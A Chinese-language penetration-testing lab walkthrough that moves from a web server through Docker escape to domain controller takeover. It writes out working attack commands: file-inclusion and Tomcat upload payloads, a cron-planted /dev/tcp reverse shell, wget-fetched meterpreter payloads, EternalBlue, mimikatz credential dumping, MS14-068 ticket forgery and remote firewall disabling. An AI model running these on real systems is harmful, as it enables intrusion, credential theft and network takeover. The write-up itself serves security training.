记一次从外网到内网的渗透测试
前言本次环境涉及反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透等多种组合漏洞。环境搭建机器密码网络配置111网段是web的网卡,183网段是内网DC主机(Windows 2008)开机,提示密码过期,改为:Itchen123WEB主机(Ubuntu)docker启动服务:(这里有3个服务)查看是否启动成功:win7:web打点信息收集端口扫描:nmap扫
前言
本次环境涉及反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透等多种组合漏洞。
环境搭建
机器密码
WEB主机 ubuntu:ubuntu
WIN7主机 douser:Dotest123
(DC)WIN2008主机 administrator:Test2008网络配置
111网段是web的网卡,183网段是内网

DC主机(Windows 2008)

开机,提示密码过期,改为:Itchen123

WEB主机(Ubuntu)

docker启动服务:(这里有3个服务)
sudo docker start ec 17 09查看是否启动成功:
sudo docker ps
win7:

WEB(Ubuntu):192.168.111.130 , 192.168.183.129
DC:192.168.183.130
win7:192.168.183.128
kali攻击机:192.168.111.131web打点
信息收集
端口扫描:nmap
nmap -sV -Pn 192.168.111.130扫描出来4个端口,一次访问:
2001端口:一个文件上传接口,是struts2框架:

2002端口:一个tomcat页面:

2003端口:phpmyadmin网站,而且未输入密码直接登录:

struts2_046漏洞
用工具扫描struts2,发现存在多个漏洞:S2-045 S2-046漏洞都存在

尝试使用S2-046可以成功执行命令,确实存在漏洞:

phpmyadmin后台获得shell
右下角标注了版本为4.8.1,这个版本有公开漏洞:

还可以利用phpmyadmin来使用数据库日志写入马来获得会话,这里就不做演示了,方法和之前的红日靶场一的一样,可以前往查看。链接:https://www.cnblogs.com/itchen-2002/p/18399389/to-qxqcu#mysql%E5%BC%B1%E5%8F%A3%E4%BB%A4
4.8.1版本存在远程文件包含漏洞(CVE-2018-12613),具体原理直接百度,
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613):
http://192.168.111.130:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
在sql执行处执行,并F12查看当前页面cookie中的phpmyadmin的值,这个也是经常用到的
select '<?php phpinfo();?>'
根据cookie值,来构造payload
http://192.168.111.130:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_44907462b8aff202caab249d90aea146
后面getshell就不演示了,就是写入一句话木马,然后用文件包含漏洞读取就行。
tomcat 文件上传漏洞getshell
根据已知版本:Apache Tomcat/8.5.19 存在文件上传漏洞
因此可以利用Tomcat CVE-2017-12615 任意文件写入
刷新页面,抓包,将get请求改为put请求:

返回201,说明上传成功。
尝试上传jsp文件,使用双//绕过

将冰蝎的payload 贴上,发包

冰蝎连接成功:

拿到web权限之后,先不急,发现执行ifconfig命令,居然提示没有发现,所以我们拿到的是真机吗?有可能是docker部署的?
判断是否为docker容器中:
1、查看hostname(不太准)
docker执行hostname后一般都是一串数字。

但是也有可能创建者会修改,所以有时候不太准。
2、cat /proc/1/cgroup
这个命令是显示进程1所属的control group (cgroup) 的层次结构。
通过这个命令我们如果看到docker字样,就说明我们应该是在容器中。

3、检查根目录下是否存在.dockerenv文件
ls -al /
解释:当Docker容器启动时,Docker引擎会自动在容器根目录下创建这个.dockerenv文件,通常被用来指示当前进程正在 Docker 容器中运行。
可以判断出在docker容器中,所以接下来要想办法进行docker逃逸
Dokcer之privileged特权模式逃逸
Docker 的 --privileged 参数是一种特权模式,允许容器中的进程获得与宿主机相同的权限。
所以我们这边再拉取一个dcoker容器,然后使用特权模式启动.
在容器内部的时候,我们首先判断我们当前容器是否是特权模式。
例如这个命令就可以进行判断
cat /proc/self/status | grep CapEffcat /proc/self/status用于查看当前进程的状态信息。grep CapEff用于从输出结果中过滤出 CapEff 相关的行capability是一种权限机制,利用 CapEff 我们可以了解当前进程实际拥有的权限和能力。

执行后发现当前的掩码值为:000001ffffffffff
一般来说,当CapEff对应的掩码值为0000003fffffffff 或者是 0000001fffffffff的时候,就可以判定当前容器是特权模式启动。
然后我们查看一下分区情况
fdisk -l
可以看到sda1就是宿主机的磁盘。
所以我们接下来只需要把宿主机所在的磁盘挂载到docker中就可以正常访问到宿主机中的内容了。
mkdir /test
mount /dev/sda1 /test #将宿主机磁盘挂载到test目录下。因为有了宿主机磁盘的操作权限,所以我们写计划任务就可以了:
touch /test/test.sh
echo "bash -i >& /dev/tcp/192.168.111.131/9898 0>&1" >/test/test.sh
echo "* * * * * root bash /test.sh" >> /test/etc/crontabkali这边开始监听:
nc -lvvp 9898一分钟后成功拿到了宿主机shell,可以通过docker ps 验证一下:

而且拿到的还是root权限:

内网渗透
信息收集
上线到msf、viper、vshell
通过ifconfig查询,发现存在网段183网段:

由于在CS中操作linux实在是不方便,故上马到msf:
生成msf马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=111.131 LPORT=2095 -f elf > 2095.elf
启动临时网站
python -m http.server 8080受控机下载木马:
wget http://192.168.111.131:8080/2095.elf
chmod 777 2095.elf
nohup ./2095.elf &
msf进行监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 2095
exploit执行msf木马:msf成功收到会话:

msf路由转发
run autoroute -s 192.168.183.0/24
run autoroute -p
主机扫描:
可以先使用msf进行一波存活扫描
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 5
run肉眼可见的两台130,128,算上之前的129,一共三台主机·
![]()
端口扫描:
扫描内网主机端口开放情况
nmap -sS -p 1-65535 192.168.183.130
开放:53,135,139,445等端口
横向渗透
通过chisel做 socks代理
kali开启服务端监听:

拿下的ubuntu做客户端反向连接VPS,开启socks代理

编辑proxychains4.conf文件:
vim /etc/proxychains4.conf
永恒之蓝漏洞利用
探测是否存在永恒之蓝漏洞:
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.183.128-130
run发现都存在该漏洞。

对128主机开始攻击:
setg Proxies socks5:127.0.0.1:1080 // 挂代理,这个洞很难打。。。。。
use exploit//smb/ms17_010_eternalblue
set rhost 192.168.183.128
set lport 8888
set AutoRunScript post/windows/manage/migrate // 自动迁移进程
run发现不成功,此时换成130拿下:

看一下ip:

信息收集
查看域内主机:
net view
2台主机
TESTWIN7-PC
WIN-ENS2VR5TR3NTWIN-ENS2VR5TR3N 已经被控制,来ping 机器WIN-ENS2VR5TR3N 获取其ip

就是之前扫出来的另一个主机IP:192.168.183.130
查看域名:
ipconfig /all
发现demo.com ,并且dns为本地ip (一般dc上会装dns)
查看Administrators组的成员:
net localgroup administrators
经过信息收集,下一步目标就是183.130这台服务器,用mimikatz拿密码
cd \Users\douser\Desktop 在桌面上发现了很多东西,比如mimikatz.exe,MS14-068.exe 等待

mimikatz导出密码:
mimikatz.exe
sekurlsa::logonpasswords
域成员sid:S-1-5-21-979886063-1111900045-1414766810-1107
发现用户密码 douser Dotest123 , WIN-ENS2VR5TR3N 为域控
MS14-068 域提权漏洞
介绍:
利用Kerberos 域用户提权漏洞(MS14-068;CVE-2014-6324)来获得域控。
该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将域内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了域内任何一台计算机的Shell权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限。
使用PyKEK可以生成一张高权限的服务票据,并通过mimikatz将服务票据注人内存。
使用PyKEK,可以将Python文件转换为可执行文件(在没有配置Python环境的操作系统中也可以执行此操作,在这台靶机中靶场搭建者已经给大家准备好了可执行文件版的MS14-068.exe)
微软针对MS14-068 ( CVE-2014-6324)漏洞提供的补丁为KB3011780
条件:获得普通域用户以及密码 ,以及用户的suid ip为域控ip
1、利用ms14-068伪造票据:
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
// ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码生成票据成功:

2、查看注入前的权限
将票据文件复制到Windows Sever 2008机器的mimikatz目录下,使用mimikatz将票据注入内存。输入命令“net use \WIN-ENS2VR5TR3N\c$”,提示“Access is denied",表示在将票据注入前无法列出域控制器C盘目录的内容。
3、清除内存中的所有票据
打开mimikatz,输入:
kerberos::purge当看到Ticket(s) purge for current session is OK时,表示清除成功

4、将高权限的票据注入内存
kerberos::ptc TGT_douser@DEMO.COM.ccache
查看域控
net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$成功连接到2008域控,并查看域控c盘:

拿下域控
首先关闭WIN7防火墙
NetSh Advfirewall set allprofiles state off
新建服务来关闭域控的防火墙:
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
生成msf木马:
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.183.130 LPORT=7777 -f exe > bind.exe先将木马上传到win7中

再进入win7中,将木马传给域控:
copy bind.exe \\WIN-ENS2VR5TR3N\c$
创建服务运行木马:
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell
msf这边开始监听:
use exploit/multi/handler
set Proxies socks5:127.0.0.1:1080
set payload windows/meterpreter/bind_tcp
set rhost 192.168.183.130
set lport 7777
set AutoRunScript post/windows/manage/migrate
run可以看到130连接过来了,但是用代理,meterpreter会很不稳定,很难操作。。。。。

没办法,会话老是弹不回来(木马执行有时候执行报错),操作是没有问题的,大概讲讲后面的操作也就是,抓取密码,开启3389,然后就可以远程登录了
可以直接使用msf中的模块来快速开启3389
meterpreter开启3389:
run post/windows/manage/enable_rdp
总结
本次学习围绕网络安全技术展开,重点掌握了 MS14-068 域提权漏洞、docker 逃逸技术、struts2、tomcat 和 phpmyadmin 的 getshell 手法,以及 chisel 隧道技术搭建。在实际操作拿下域控时,遇到回传 shell 失败的问题,尚未解决。后续需针对该问题深入研究,提升技术能力。